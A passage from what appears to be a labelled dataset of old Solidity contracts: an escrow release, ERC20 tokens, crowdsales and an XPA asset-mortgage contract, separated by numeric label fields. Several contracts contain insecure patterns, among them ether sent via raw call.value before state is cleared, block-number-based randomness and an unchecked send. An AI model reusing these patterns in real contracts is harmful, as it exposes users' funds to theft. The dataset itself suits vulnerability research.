escrows[_tradeHash].buyerApprovedTheTransaction = true;
}
function releaseEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(escrows[_tradeHash].exists);
require(escrows[_tradeHash].buyerApprovedTheTransaction);
uint256 arbitratorValue = escrows[_tradeHash].summ*ARBITRATOR_PERCENT/100;
uint256 buyerValue = escrows[_tradeHash].summ - arbitratorValue;
bool sellerReceivedMoney = escrows[_tradeHash].seller.call.value(buyerValue)();
bool arbitratorReceivedMoney = arbitrator.call.value(arbitratorValue)();
if ( sellerReceivedMoney && arbitratorReceivedMoney )
{
delete escrows[_tradeHash];
} else {
throw;
}
}
function isExistsEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) constant returns (bool es) {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
return escrows[_tradeHash].exists;
}
} | 0 | 2,041 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract Haltable is MultiOwners {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract StagePercentageStep is MultiOwners {
using SafeMath for uint256;
string public name;
uint256 public tokenPriceInETH;
uint256 public mintCapInETH;
uint256 public mintCapInUSD;
uint256 public mintCapInTokens;
uint256 public hardCapInTokens;
uint256 public totalWei;
uint256 public bonusAvailable;
uint256 public bonusTotalSupply;
struct Round {
uint256 windowInTokens;
uint256 windowInETH;
uint256 accInETH;
uint256 accInTokens;
uint256 nextAccInETH;
uint256 nextAccInTokens;
uint256 discount;
uint256 priceInETH;
uint256 weightPercentage;
}
Round[] public rounds;
function StagePercentageStep(string _name) {
name = _name;
}
function totalEther() public constant returns(uint256) {
return totalWei.div(1e18);
}
function registerRound(uint256 priceDiscount, uint256 weightPercentage) internal {
uint256 windowInETH;
uint256 windowInTokens;
uint256 accInETH = 0;
uint256 accInTokens = 0;
uint256 priceInETH;
priceInETH = tokenPriceInETH.mul(100-priceDiscount).div(100);
windowInETH = mintCapInETH.mul(weightPercentage).div(100);
windowInTokens = windowInETH.mul(1e18).div(priceInETH);
if(rounds.length > 0) {
accInTokens = accInTokens.add(rounds[rounds.length-1].nextAccInTokens);
accInETH = accInETH.add(rounds[rounds.length-1].nextAccInETH);
}
rounds.push(Round({
windowInETH: windowInETH,
windowInTokens: windowInTokens,
accInETH: accInETH,
accInTokens: accInTokens,
nextAccInETH: accInETH + windowInETH,
nextAccInTokens: accInTokens + windowInTokens,
weightPercentage: weightPercentage,
discount: priceDiscount,
priceInETH: priceInETH
}));
mintCapInTokens = mintCapInTokens.add(windowInTokens);
hardCapInTokens = mintCapInTokens.mul(120).div(100);
}
function calcAmount(
uint256 _amount,
uint256 _totalEthers
) public constant returns (uint256 estimate, uint256 amount) {
Round memory round;
uint256 totalEthers = _totalEthers;
amount = _amount;
for(uint256 i; i<rounds.length; i++) {
round = rounds[i];
if(!(totalEthers >= round.accInETH && totalEthers < round.nextAccInETH)) {
continue;
}
if(totalEthers.add(amount) < round.nextAccInETH) {
return (estimate + amount.mul(1e18).div(round.priceInETH), 0);
}
amount = amount.sub(round.nextAccInETH.sub(totalEthers));
estimate = estimate + (
round.nextAccInETH.sub(totalEthers).mul(1e18).div(round.priceInETH)
);
totalEthers = round.nextAccInETH;
}
return (estimate, amount);
}
}
contract SessiaCrowdsale is StagePercentageStep, Haltable {
using SafeMath for uint256;
uint256 public ethPriceInUSD = 680e2;
uint256 public minimalUSD = 680e2;
uint256 public minimalWei = minimalUSD.mul(1e18).div(ethPriceInUSD);
SessiaToken public token;
address public wallet;
uint256 public startTime;
uint256 public endTime;
address public bonusMintingAgent;
event ETokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event ETransferOddEther(address indexed beneficiary, uint256 value);
event ESetBonusMintingAgent(address agent);
event ESetStartTime(uint256 new_startTime);
event ESetEndTime(uint256 new_endTime);
event EManualMinting(address indexed beneficiary, uint256 value, uint256 amount);
event EBonusMinting(address indexed beneficiary, uint256 value);
modifier validPurchase() {
bool nonZeroPurchase = msg.value != 0;
require(withinPeriod() && nonZeroPurchase);
_;
}
function SessiaCrowdsale(
uint256 _startTime,
uint256 _endTime,
address _wallet,
address _bonusMintingAgent
)
public
StagePercentageStep("Pre-ITO")
{
require(_startTime >= 0);
require(_endTime > _startTime);
token = new SessiaToken();
token.grant(_bonusMintingAgent);
token.grant(_wallet);
bonusMintingAgent = _bonusMintingAgent;
wallet = _wallet;
startTime = _startTime;
endTime = _endTime;
tokenPriceInETH = 1e15;
mintCapInUSD = 3000000e2;
mintCapInETH = mintCapInUSD.mul(1e18).div(ethPriceInUSD);
registerRound({priceDiscount: 30, weightPercentage: 10});
registerRound({priceDiscount: 20, weightPercentage: 20});
registerRound({priceDiscount: 10, weightPercentage: 30});
registerRound({priceDiscount: 0, weightPercentage: 40});
require(bonusMintingAgent != 0);
require(wallet != 0x0);
}
function withinPeriod() constant public returns (bool) {
return (now >= startTime && now <= endTime);
}
function running() constant public returns (bool) {
return withinPeriod() && !token.mintingFinished();
}
function setBonusMintingAgent(address agent) public onlyOwner {
require(agent != address(this));
token.revoke(bonusMintingAgent);
token.grant(agent);
bonusMintingAgent = agent;
ESetBonusMintingAgent(agent);
}
function stageName() constant public returns (string) {
bool beforePeriod = (now < startTime);
if(beforePeriod) {
return "Not started";
}
if(withinPeriod()) {
return name;
}
return "Finished";
}
function() public payable {
return buyTokens(msg.sender);
}
function setStartTime(uint256 _at) public onlyOwner {
require(block.timestamp < _at);
require(_at < endTime);
startTime = _at;
ESetStartTime(_at);
}
function setEndTime(uint256 _at) public onlyOwner {
require(startTime < _at);
endTime = _at;
ESetEndTime(_at);
}
function bonusMinting(address to, uint256 amount) stopInEmergency public {
require(msg.sender == bonusMintingAgent || isOwner());
require(amount <= bonusAvailable);
require(token.totalSupply() + amount <= hardCapInTokens);
bonusTotalSupply = bonusTotalSupply.add(amount);
bonusAvailable = bonusAvailable.sub(amount);
EBonusMinting(to, amount);
token.mint(to, amount);
}
function buyTokens(address contributor) payable stopInEmergency validPurchase public {
require(contributor != 0x0);
require(msg.value >= minimalWei);
uint256 amount;
uint256 odd_ethers;
uint256 ethers;
(amount, odd_ethers) = calcAmount(msg.value, totalWei);
require(amount + token.totalSupply() + bonusAvailable <= hardCapInTokens);
ethers = (msg.value.sub(odd_ethers));
token.mint(contributor, amount);
ETokenPurchase(contributor, ethers, amount);
totalWei = totalWei.add(ethers);
if(odd_ethers > 0) {
require(odd_ethers < msg.value);
ETransferOddEther(contributor, odd_ethers);
contributor.transfer(odd_ethers);
}
bonusAvailable = bonusAvailable.add(amount.mul(20).div(100));
wallet.transfer(ethers);
}
function manualMinting(address contributor, uint256 value) onlyOwner stopInEmergency public {
require(withinPeriod());
require(contributor != 0x0);
require(value >= minimalWei);
uint256 amount;
uint256 odd_ethers;
uint256 ethers;
(amount, odd_ethers) = calcAmount(value, totalWei);
require(amount + token.totalSupply() + bonusAvailable <= hardCapInTokens);
ethers = value.sub(odd_ethers);
token.mint(contributor, amount);
EManualMinting(contributor, amount, ethers);
totalWei = totalWei.add(ethers);
bonusAvailable = bonusAvailable.add(amount.mul(20).div(100));
}
function finishCrowdsale() onlyOwner public {
require(block.timestamp > endTime || (mintCapInETH - totalWei) <= 1e18);
require(!token.mintingFinished());
if(bonusAvailable > 0) {
bonusMinting(wallet, bonusAvailable);
}
token.finishMinting();
}
}
contract SessiaToken is MintableToken, MultiOwners {
string public constant name = "Sessia Kickers";
string public constant symbol = "PRE-KICK";
uint8 public constant decimals = 18;
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if(!isOwner()) {
revert();
}
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) public returns (bool) {
if(!isOwner()) {
revert();
}
return super.transfer(to, value);
}
function grant(address _owner) public {
require(publisher == msg.sender);
return super.grant(_owner);
}
function revoke(address _owner) public {
require(publisher == msg.sender);
return super.revoke(_owner);
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(publisher == msg.sender);
return super.mint(_to, _amount);
}
} | 0 | 241 |
contract META {
string public name = "Dunaton Metacurrency 2.0";
uint8 public decimals = 18;
string public symbol = "META";
address public _owner;
address public dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
uint256 public _tokePerEth = 156;
uint256 public _totalSupply = 21000000;
event Transfer(address indexed _from, address indexed _to, uint _value);
mapping (address => uint256) public balances;
function META() {
_owner = msg.sender;
balances[_owner] = 5800000;
Transfer(this, _owner, 5800000);
_totalSupply = sub(_totalSupply,balances[_owner]);
}
function transfer(address _to, uint _value, bytes _data) public {
require(balances[msg.sender] >= _value);
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
function transfer(address _to, uint _value) public {
require(balances[msg.sender] >= _value);
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
function () payable public {
require(msg.value > 0);
uint incomingValueAsEth = div(msg.value,1 ether);
uint256 _calcToken = mul(incomingValueAsEth,_tokePerEth);
require(_totalSupply >= _calcToken);
_totalSupply = sub(_totalSupply, _calcToken);
balances[msg.sender] = add(balances[msg.sender], _calcToken);
Transfer(this, msg.sender, _calcToken);
}
function changePayRate(uint256 _newRate) public {
require((msg.sender == _owner) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
uint256 valueAsEth = mul(_value,1 ether);
require(valueAsEth < this.balance);
_receiver.send(valueAsEth);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _owner);
_owner = _receiver;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function updateTokenBalance(uint256 newBalance) public {
require(msg.sender == _owner);
_totalSupply = add(_totalSupply,newBalance);
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
} | 1 | 2,061 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Releasable is Ownable {
event Release();
bool public released = false;
modifier afterReleased() {
require(released);
_;
}
function release() onlyOwner public {
require(!released);
released = true;
Release();
}
}
contract Managed is Releasable {
mapping (address => bool) public manager;
event SetManager(address _addr);
event UnsetManager(address _addr);
function Managed() public {
manager[msg.sender] = true;
}
modifier onlyManager() {
require(manager[msg.sender]);
_;
}
function setManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == false);
manager[_addr] = true;
SetManager(_addr);
}
function unsetManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == true);
manager[_addr] = false;
UnsetManager(_addr);
}
}
contract ReleasableToken is StandardToken, Managed {
function transfer(address _to, uint256 _value) public afterReleased returns (bool) {
return super.transfer(_to, _value);
}
function saleTransfer(address _to, uint256 _value) public onlyManager returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public afterReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public afterReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public afterReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public afterReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is ReleasableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyManager public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract GANA is BurnableToken {
string public constant name = "GANA";
string public constant symbol = "GANA";
uint8 public constant decimals = 18;
event ClaimedTokens(address manager, address _token, uint256 claimedBalance);
function GANA() public {
totalSupply = 2000000000 * 1 ether;
balances[msg.sender] = totalSupply;
}
function claimTokens(address _token, uint256 _claimedBalance) public onlyManager afterReleased {
ERC20Basic token = ERC20Basic(_token);
uint256 tokenBalance = token.balanceOf(this);
require(tokenBalance >= _claimedBalance);
address manager = msg.sender;
token.transfer(manager, _claimedBalance);
ClaimedTokens(manager, _token, _claimedBalance);
}
}
contract Whitelist is Ownable {
mapping (address => bool) public whitelist;
event Registered(address indexed _addr);
event Unregistered(address indexed _addr);
modifier onlyWhitelisted(address _addr) {
require(whitelist[_addr]);
_;
}
function isWhitelist(address _addr) public view returns (bool listed) {
return whitelist[_addr];
}
function registerAddress(address _addr) public onlyOwner {
require(_addr != address(0) && whitelist[_addr] == false);
whitelist[_addr] = true;
Registered(_addr);
}
function registerAddresses(address[] _addrs) public onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++) {
require(_addrs[i] != address(0) && whitelist[_addrs[i]] == false);
whitelist[_addrs[i]] = true;
Registered(_addrs[i]);
}
}
function unregisterAddress(address _addr) public onlyOwner onlyWhitelisted(_addr) {
whitelist[_addr] = false;
Unregistered(_addr);
}
function unregisterAddresses(address[] _addrs) public onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++) {
require(whitelist[_addrs[i]]);
whitelist[_addrs[i]] = false;
Unregistered(_addrs[i]);
}
}
}
contract GanaPublicSale is Ownable {
using SafeMath for uint256;
GANA public gana;
Whitelist public whitelist;
address public wallet;
uint256 public hardCap = 30000 ether;
uint256 public weiRaised = 0;
uint256 public defaultRate = 20000;
uint256 public startTime = 1524218400;
uint256 public endTime = 1526637600;
event TokenPurchase(address indexed sender, address indexed buyer, uint256 weiAmount, uint256 ganaAmount);
event Refund(address indexed buyer, uint256 weiAmount);
event TransferToSafe();
event BurnAndReturnAfterEnded(uint256 burnAmount, uint256 returnAmount);
function GanaPublicSale(address _gana, address _wallet, address _whitelist) public {
require(_wallet != address(0));
gana = GANA(_gana);
whitelist = Whitelist(_whitelist);
wallet = _wallet;
}
modifier onlyWhitelisted() {
require(whitelist.isWhitelist(msg.sender));
_;
}
function () external payable {
buyGana(msg.sender);
}
function buyGana(address buyer) public onlyWhitelisted payable {
require(!hasEnded());
require(afterStart());
require(buyer != address(0));
require(msg.value > 0);
require(buyer == msg.sender);
uint256 weiAmount = msg.value;
uint256 preCalWeiRaised = weiRaised.add(weiAmount);
uint256 ganaAmount;
uint256 rate = getRate();
if(preCalWeiRaised <= hardCap){
ganaAmount = weiAmount.mul(rate);
gana.saleTransfer(buyer, ganaAmount);
weiRaised = preCalWeiRaised;
TokenPurchase(msg.sender, buyer, weiAmount, ganaAmount);
}else{
uint256 refundWeiAmount = preCalWeiRaised.sub(hardCap);
uint256 fundWeiAmount = weiAmount.sub(refundWeiAmount);
ganaAmount = fundWeiAmount.mul(rate);
gana.saleTransfer(buyer, ganaAmount);
weiRaised = weiRaised.add(fundWeiAmount);
TokenPurchase(msg.sender, buyer, fundWeiAmount, ganaAmount);
buyer.transfer(refundWeiAmount);
Refund(buyer,refundWeiAmount);
}
}
function getRate() public view returns (uint256) {
if(weiRaised < 12500 ether){
return 21000;
}else if(weiRaised < 25000 ether){
return 20500;
}else{
return 20000;
}
}
function hasEnded() public view returns (bool) {
bool hardCapReached = weiRaised >= hardCap;
return hardCapReached || afterEnded();
}
function afterEnded() internal constant returns (bool) {
return now > endTime;
}
function afterStart() internal constant returns (bool) {
return now >= startTime;
}
function transferToSafe() onlyOwner public {
require(hasEnded());
wallet.transfer(this.balance);
TransferToSafe();
}
function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public {
require(reserveWallet != address(0));
require(hasEnded());
uint256 unsoldWei = hardCap.sub(weiRaised);
uint256 ganaBalance = gana.balanceOf(this);
require(ganaBalance > 0);
if(unsoldWei > 0){
uint256 unsoldGanaAmount = ganaBalance;
uint256 burnGanaAmount = unsoldWei.mul(defaultRate);
uint256 bonusGanaAmount = unsoldGanaAmount.sub(burnGanaAmount);
gana.burn(burnGanaAmount);
gana.saleTransfer(reserveWallet, bonusGanaAmount);
BurnAndReturnAfterEnded(burnGanaAmount, bonusGanaAmount);
}else{
gana.saleTransfer(reserveWallet, ganaBalance);
BurnAndReturnAfterEnded(0, ganaBalance);
}
}
function returnGanaBeforeSale(address returnAddress) onlyOwner public {
require(returnAddress != address(0));
require(weiRaised == 0);
uint256 returnGana = gana.balanceOf(this);
gana.saleTransfer(returnAddress, returnGana);
}
} | 1 | 2,363 |
pragma solidity ^0.4.21;
interface Token {
function totalSupply() constant external returns (uint256 ts);
function balanceOf(address _owner) constant external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface XPAAssetToken {
function create(address user_, uint256 amount_) external returns(bool success);
function burn(uint256 amount_) external returns(bool success);
function burnFrom(address user_, uint256 amount_) external returns(bool success);
function getDefaultExchangeRate() external returns(uint256);
function getSymbol() external returns(bytes32);
}
interface Baliv {
function getPrice(address fromToken_, address toToken_) external view returns(uint256);
}
interface FundAccount {
function burn(address Token_, uint256 Amount_) external view returns(bool);
}
interface TokenFactory {
function createToken(string symbol_, string name_, uint256 defaultExchangeRate_) external returns(address);
function getPrice(address token_) external view returns(uint256);
function getAssetLength() external view returns(uint256);
function getAssetToken(uint256 index_) external view returns(address);
}
contract SafeMath {
function safeAdd(uint x, uint y)
internal
pure
returns(uint) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSub(uint x, uint y)
internal
pure
returns(uint) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMul(uint x, uint y)
internal
pure
returns(uint) {
uint z = x * y;
require((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint x, uint y)
internal
pure
returns(uint) {
require(y > 0);
return x / y;
}
function random(uint N, uint salt)
internal
view
returns(uint) {
bytes32 hash = keccak256(block.number, msg.sender, salt);
return uint(hash) % N;
}
}
contract Authorization {
mapping(address => address) public agentBooks;
address public owner;
address public operator;
address public bank;
bool public powerStatus = true;
bool public forceOff = false;
function Authorization()
public
{
owner = msg.sender;
operator = msg.sender;
bank = msg.sender;
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(msg.sender == operator || msg.sender == owner);
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
onlyOperator
{
if(forceOff) {
powerStatus = false;
} else {
powerStatus = onOff_;
}
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
function assignOperator(address user_)
public
onlyOwner
{
operator = user_;
agentBooks[bank] = user_;
}
function assignBank(address bank_)
public
onlyOwner
{
bank = bank_;
}
function assignAgent(
address agent_
)
public
{
agentBooks[msg.sender] = agent_;
}
function isRepresentor(
address representor_
)
public
view
returns(bool) {
return agentBooks[representor_] == msg.sender;
}
function getUser(
address representor_
)
internal
view
returns(address) {
return isRepresentor(representor_) ? representor_ : msg.sender;
}
}
contract XPAAssets is SafeMath, Authorization {
string public version = "0.5.0";
address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170;
address public oldXPAAssets = 0x0002992af1dd8140193b87d2ab620ca22f6e19f26c;
address public newXPAAssets = address(0);
address public tokenFactory = 0x0036B86289ccCE0984251CCCA62871b589B0F52d68;
uint256 public maxForceOffsetAmount = 1000000 ether;
uint256 public minForceOffsetAmount = 10000 ether;
event eMortgage(address, uint256);
event eWithdraw(address, address, uint256);
event eRepayment(address, address, uint256);
event eOffset(address, address, uint256);
event eExecuteOffset(uint256, address, uint256);
event eMigrate(address);
event eMigrateAmount(address);
mapping(address => uint256) public fromAmountBooks;
mapping(address => mapping(address => uint256)) public toAmountBooks;
mapping(address => uint256) public forceOffsetBooks;
mapping(address => bool) public migrateBooks;
address[] public xpaAsset;
address public fundAccount;
uint256 public profit = 0;
mapping(address => uint256) public unPaidFundAccount;
uint256 public initCanOffsetTime = 0;
uint256 public withdrawFeeRate = 0.02 ether;
uint256 public offsetFeeRate = 0.02 ether;
uint256 public forceOffsetBasicFeeRate = 0.02 ether;
uint256 public forceOffsetExecuteFeeRate = 0.01 ether;
uint256 public forceOffsetExtraFeeRate = 0.05 ether;
uint256 public forceOffsetExecuteMaxFee = 1000 ether;
function XPAAssets(
uint256 initCanOffsetTime_
) public {
initCanOffsetTime = initCanOffsetTime_;
}
function setFundAccount(
address fundAccount_
)
public
onlyOperator
{
if(fundAccount_ != address(0)) {
fundAccount = fundAccount_;
}
}
function createToken(
string symbol_,
string name_,
uint256 defaultExchangeRate_
)
public
onlyOperator
{
address newAsset = TokenFactory(tokenFactory).createToken(symbol_, name_, defaultExchangeRate_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(xpaAsset[i] == newAsset){
return;
}
}
xpaAsset.push(newAsset);
}
function mortgage(
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
uint256 amount_ = Token(XPA).allowance(msg.sender, this);
if(
amount_ >= 100 ether &&
Token(XPA).transferFrom(msg.sender, this, amount_)
){
fromAmountBooks[user] = safeAdd(fromAmountBooks[user], amount_);
emit eMortgage(user,amount_);
}
}
function withdraw(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
token_ != XPA &&
amount_ > 0 &&
amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether)
){
toAmountBooks[user][token_] = safeAdd(toAmountBooks[user][token_],amount_);
uint256 withdrawFee = safeDiv(safeMul(amount_,withdrawFeeRate),1 ether);
XPAAssetToken(token_).create(user, safeSub(amount_, withdrawFee));
XPAAssetToken(token_).create(this, withdrawFee);
emit eWithdraw(user, token_, amount_);
}
}
function withdrawXPA(
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
amount_ >= 100 ether &&
amount_ <= getUsableXPA(user)
){
fromAmountBooks[user] = safeSub(fromAmountBooks[user], amount_);
require(Token(XPA).transfer(user, amount_));
emit eWithdraw(user, XPA, amount_);
}
}
function repayment(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
XPAAssetToken(token_).burnFrom(user, amount_)
) {
toAmountBooks[user][token_] = safeSub(toAmountBooks[user][token_],amount_);
emit eRepayment(user, token_, amount_);
}
}
function offset(
address user_,
address token_
)
onlyActive
public
{
